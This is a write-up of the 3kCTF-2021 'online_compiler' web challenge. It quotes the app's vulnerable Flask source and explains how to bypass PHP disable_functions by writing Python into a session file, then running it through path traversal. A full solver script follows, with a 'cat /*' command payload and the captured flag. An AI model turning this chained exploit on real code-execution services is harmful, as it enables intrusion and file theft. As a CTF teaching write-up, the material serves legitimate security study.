3kCTF-2021

Web

online_compiler

Compile & run your code with the 3k online compiler. Our online compiler supports multiple programming languages like Php, Python,...

We're given source code of a web app - interesting snippets:

@app.route('/save',methods = ['POST'])
@cross_origin()
def save():
    c_type=request.form['c_type']
    print('ctype-(>'+c_type)
    if (c_type == 'php'):
        code=request.form['code']
        if (len(code)<100):
            filename=get_random_string(6)+'.php'
            path='/home/app/test/'+filename
            f=open(path,'w')
            f.write(code)
            f.close()
            return filename
        
        else:
            return 'failed'
    """elif (c_type == 'python'):
        code=request.args.get('code')
        if (len(code)<30):
            filename=get_random_string(6)+'.py'
            path='/home/app/testpy/'+filename
            f=open(path,'w')
            f.write(code)
            f.close()
            return filename
        else:
            return 'failed'"""
            
@app.route('/compile',methods = ['POST'])
@cross_origin()
def compile():
    c_type=request.form['c_type']
    filename=request.form['filename']
    if (c_type == 'php'):
        if (filename[-3:]=='php'):
            if (check_file('/home/app/test/'+filename)):
                path='/home/app/test/'+filename
                cmd='php -c php.ini '+path
                p = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
                stdout, stderr = p.communicate()
                return stdout
            else:
                return 'failed'
        else:
            return 'noop'
    elif (c_type == 'python'):
        if (filename[-2:]=='py'):
            if (check_file('/home/app/test/'+filename)):
                cmd='python3 '+filename
                p = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
                stdout, stderr = p.communicate()
                print(f"{stdout=} {stderr=}")
                return stdout
            else:
                return 'failed'
        else:
            return 'noop'

We see that we have two routes: /save, which will write provided code to a .php file (and its handler for Python is commented out), and /compile, which will execute either a PHP or Python file and return the output.

The obvious solution here is to write a shell or some code into a PHP file, then execute it. However, we immediately run into the first roadblock: disable_functions in php.ini disables most useful functions. Comparing with a list of internal functions, we find that we can only use the following functions:

strlen
strcmp
strncmp
each
error_reporting
get_mangled_object_vars
get_declared_classes
gc_status
openssl_x509_verify
openssl_pkey_derive
preg_match
preg_match_all
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_exec
pcntl_alarm
pcntl_get_last_error
pcntl_errno
pcntl_strerror
pcntl_getpriority
pcntl_setpriority
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_wifcontinued
pcntl_async_signals
pcntl_unshare
session_name
session_module_name
session_save_path
session_id
session_create_id
session_regenerate_id
session_decode
session_encode
session_start
session_destroy
session_unset
session_gc
session_set_save_handler
session_cache_limiter
session_cache_expire
session_set_cookie_params
session_get_cookie_params
session_write_close
session_abort
session_reset
session_status
session_register_shutdown
session_commit
phpinfo
password_algos
hrtime
var_dump
print_r
highlight_file
show_source
header
net_get_interfaces
is_countable
file_get_contents
chroot
array_key_first
array_key_last
jdtogregorian
gregoriantojd
jdtojulian
juliantojd
jdtojewish
jewishtojd
jdtofrench
frenchtojd
jddayofweek
jdmonthname
easter_date
easter_days
unixtojd
jdtounix
cal_to_jd
cal_from_jd
cal_days_in_month
cal_info
exif_read_data
read_exif_data
exif_tagname
exif_thumbnail
exif_imagetype
textdomain
gettext
_
dgettext
dcgettext
bindtextdomain
ngettext
dngettext
dcngettext
bind_textdomain_codeset
readline_list_history
shmop_open
shmop_read
shmop_close
shmop_size
shmop_write
shmop_delete
socket_select
socket_create
socket_create_listen
socket_create_pair
socket_accept
socket_set_nonblock
socket_set_block
socket_listen
socket_close
socket_write
socket_read
socket_getsockname
socket_getpeername
socket_connect
socket_strerror
socket_bind
socket_recv
socket_send
socket_recvfrom
socket_sendto
socket_get_option
socket_set_option
socket_shutdown
socket_last_error
socket_clear_error
socket_import_stream
socket_export_stream
socket_sendmsg
socket_recvmsg
socket_cmsg_space
socket_addrinfo_lookup
socket_addrinfo_connect
socket_addrinfo_bind
socket_addrinfo_explain
socket_getopt
socket_setopt
msg_get_queue
msg_send
msg_receive
msg_remove_queue
msg_stat_queue
msg_set_queue
msg_queue_exists
sem_get
sem_acquire
sem_release
sem_remove
shm_attach
shm_remove
shm_detach
shm_put_var
shm_has_var
shm_get_var
shm_remove_var
opcache_reset
opcache_invalidate
opcache_compile_file
opcache_is_script_cached
opcache_get_configuration
opcache_get_status
cli_set_process_title
cli_get_process_title
List of allowed internal functions

The plan of attack shifts slightly - could we utilise some of the above functions to write Python code into a file, then execute it? It appears that the Python runner does not enforce any form of restrictions.

The session management functions jump out - if we take a look at the documentation, we see that sessions are written to disk.

The following code results in /tmp/sess_hpy being created:

<?php
session_id("hpy");session_start();$_SESSION["#"]="
import os
os.system('cat /*')#";?>
Payload
#|s:31:"
import os
os.system('cat /*')#";
Contents of /tmp/sess_hpy

Conveniently, the use of # as the session key comments out the session management bits. /tmp/sess_hpy is thus valid Python that we can execute for our flag.

import requests

HOST = "onlinecompiler.2021.3k.ctf.to:5000"
# HOST = "localhost:5000"

outname = 'hpy'

def write_payload():
    r = requests.post(f"http://{HOST}/save", data={
        "c_type": "php",
        "code": f"""<?php
session_id("{outname}");session_start();$_SESSION["#"]="
import os
os.system('cat /*')#";?>"""
    })

    fname = r.text
    print(fname)

    r = requests.post(f"http://{HOST}/compile", data={
        "c_type": "php",
        "filename": fname
    })

    print(r.text)

write_payload()

r = requests.post(f"http://{HOST}/compile", data={
    "c_type": "python",
    "filename": f"../../../../../../../../tmp/sess_{outname}"
})

print(r.text)
Full Solver
➜  onlinecompiler python3 exec.py 
zxfboj.php

3k{JuSt_A_WaRmUp_O.o}